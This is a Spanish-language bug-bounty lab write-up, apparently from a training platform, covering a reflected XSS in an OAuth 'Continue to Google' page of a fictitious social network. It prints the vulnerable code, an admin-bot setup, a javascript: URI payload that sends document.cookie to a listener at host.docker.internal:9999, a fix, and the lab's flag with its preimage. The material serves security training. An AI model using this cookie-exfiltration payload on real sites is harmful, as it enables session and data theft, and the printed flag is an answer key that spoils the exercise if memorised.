Red social ficticia "Plux" (login + feed + chat DM + notificaciones + ambient ticker) construida sobre Express + TypeScript con un sink XSS reflejado en `/googleAuthorization.html`. El parámetro GET `auth_url` se asigna directamente al atributo `href` de un botón "Continuar a Google" que se auto-clickea tras 2.2 segundos vía `setTimeout`. Un valor `auth_url=javascript:...` ejecuta el código en el origen de Plux. El admin **Marina Reyes** (bot Puppeteer) polea su bandeja de DMs cada 5s, extrae URLs, las abre en Chromium con sus cookies cargadas (`plux_sid` httpOnly + `plux_flag` no-httpOnly), y permanece en la página 4.5s — tiempo suficiente para que el sink dispare el auto-click y el payload `fetch` exfiltre `document.cookie` al listener del atacante. La cookie `plux_flag` contiene la flag en claro
This bug paid $500 on HackerOne.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Solve this lab to unlock this shareable achievement
Plux es una red social ficticia minimalista, construida sobre Express +
TypeScript con frontend de HTML/CSS/JS plano servido como estáticos.
El estado vive completamente en memoria (Maps de users, posts, messages,
notifications) — sin SQLite. Un reinicio del contenedor = lab limpio.
server/public/googleAuthorization.html es una página estándar de "iniciando
sesión con Google" con un botón blanco grande "Continuar a Google →". El JS
inline:
const params = new URLSearchParams(location.search);
const authUrl = params.get('auth_url') || 'https://accounts.google.com/o/oauth2/v2/auth?...';
const btn = document.getElementById('continue-btn');
btn.href = authUrl; // ⚠ reflexión sin validar
setTimeout(() => btn.click(), 2200); // ⚠ auto-click → activa javascript: URI
El sink es la asignación btn.href = authUrl. Browsers permiten clickear
programáticamente un <a href="javascript:..."> y eso ejecuta el código
como si fuera JS de la propia página (mismo origin). Conauth_url=javascript:alert(document.domain) salta el alert tras 2.2s.
En server/src/auth.ts:setSessionCookies:
res.cookie('plux_sid', token, { httpOnly: true, ... }); // postura correcta
if (u.role === 'admin') {
res.cookie('plux_flag', FLAG, { httpOnly: false, ... }); // anti-patrón
}
Solo el admin recibe plux_flag. El comentario en código justifica
narrativamente el anti-patrón ("el SDK de analytics interno lo lee con
JS"). El valor de la cookie es la flag en claro: FLAG{md5(preimage)}.
server/src/adminBot.ts ejecuta un loop cada 5s:
process.env.ADMIN_PASSWORD que seed.ts setea).GET /api/_internal/admin-inbox?since_min=10 — devuelve mensajes que127.0.0.1 → host.docker.internal,localhost, 127.0.0.1, host.docker.internal, plux),page.setCookie(plux_sid + plux_flag) para los 4page.goto(url, { waitUntil: 'domcontentloaded' }),El allowlist solo aplica a la URL del PAGE NAVIGATION del bot. El fetch
que la página XSS-vulnerable ejecuta después del click NO está restringido
— ese es el canal de exfil hacia host.docker.internal:9999.
server/src/ambient.ts:
javascript:fetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie))./googleAuthorization.html?auth_url=....plux_sid (httpOnly) y plux_flagauth_url, lo planta en href, auto-clickea.javascript: URI ejecuta fetch('http://host.docker.internal:9999/?c='+encodeURIComponent(document.cookie)).document.cookie en el navegador del bot devuelve plux_flag=FLAG{...}plux_sid es httpOnly y no aparece ahí).El template viene de un reporte de bug bounty (intent: "lab al estilo
del reporte original donde googleAuthorization.html?auth_url=javascript:alert(document.domain)
disparaba XSS"). El patrón es común en flujos de OAuth donde el
frontend recibe la URL de autorización ya construida por el backend y
la pone "ciegamente" en un <a> — sin validar que el esquema seahttps: y el host accounts.google.com.
// Antes de asignar a btn.href:
try {
const u = new URL(authUrl);
if (u.protocol !== 'https:' || !u.host.endsWith('accounts.google.com')) {
throw new Error('auth_url no es de Google');
}
btn.href = u.toString();
} catch (e) {
showError('No pudimos completar el login con Google.');
return;
}
Y en la cookie:
res.cookie('plux_flag', value, { httpOnly: true, secure: true, sameSite: 'lax' });
Si tu SDK necesita el valor en JS, dale un endpoint /api/internal-token
con requireAuth — nunca metas datos sensibles en una cookie no httpOnly.
FLAG{a669a43d15eb9581e13d722eb4b4b33b}
Verificación:
echo -n 'plux::share-link-xss::auth_url-href-javascript::2026' | md5sum
# a669a43d15eb9581e13d722eb4b4b33b
Reproduce it and find the bug yourself